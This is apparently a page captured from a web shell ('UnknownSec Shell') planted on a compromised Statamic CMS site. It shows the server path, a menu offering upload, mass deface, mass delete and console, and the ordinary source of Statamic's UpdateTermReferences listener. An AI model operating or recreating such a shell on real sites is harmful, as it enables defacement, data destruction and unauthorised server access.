shell bypass 403
UnknownSec Shell
:
/
home
/
forge
/
lolasweb.brannanatkinson.com
/
vendor
/
statamic
/
cms
/
src
/
Listeners
/ [
drwxrwxr-x
]
upload
mass deface
mass delete
console
info server
name :
UpdateTermReferences.php
<?php namespace Statamic\Listeners; use Illuminate\Contracts\Queue\ShouldQueue; use Statamic\Events\Subscriber; use Statamic\Events\TermDeleted; use Statamic\Events\TermReferencesUpdated; use Statamic\Events\TermSaved; use Statamic\Taxonomies\TermReferenceUpdater; class UpdateTermReferences extends Subscriber implements ShouldQueue { use Concerns\GetsItemsContainingData; protected $listeners = [ TermSaved::class => 'handleSaved', TermDeleted::class => 'handleDeleted', ]; /** * Register the listeners for the subscriber. * * @param \Illuminate\Events\Dispatcher $events */ public function subscribe($events) { if (config('statamic.system.update_references') === false) { return; } parent::subscribe($events); } /** * Handle the term saved event. */ public function handleSaved(TermSaved $event) { $term = $event->term; $originalSlug = $term->getOriginal('slug'); $newSlug = $term->slug(); $this->replaceReferences($term, $originalSlug, $newSlug); } /** * Handle the term deleted event. */ public function handleDeleted(TermDeleted $event) { $term = $event->term; $originalSlug = $term->getOriginal('slug'); $newSlug = null; $this->replaceReferences($term, $originalSlug, $newSlug); } /** * Replace term references. * * @param \Statamic\Taxonomies\Term $term * @param string $originalSlug * @param string $newSlug */ protected function replaceReferences($term, $originalSlug, $newSlug) { if (! $originalSlug || $originalSlug === $newSlug) { return; } $taxonomy = $term->taxonomy()->handle(); $updatedItems = $this ->getItemsContainingData() ->map(function ($item) use ($taxonomy, $originalSlug, $newSlug) { return TermReferenceUpdater::item($item) ->filterByTaxonomy($taxonomy) ->updateReferences($originalSlug, $newSlug); }) ->filter(); if ($updatedItems->isNotEmpty()) { TermReferencesUpdated::dispatch($term); } } }
© 2026 UnknownSec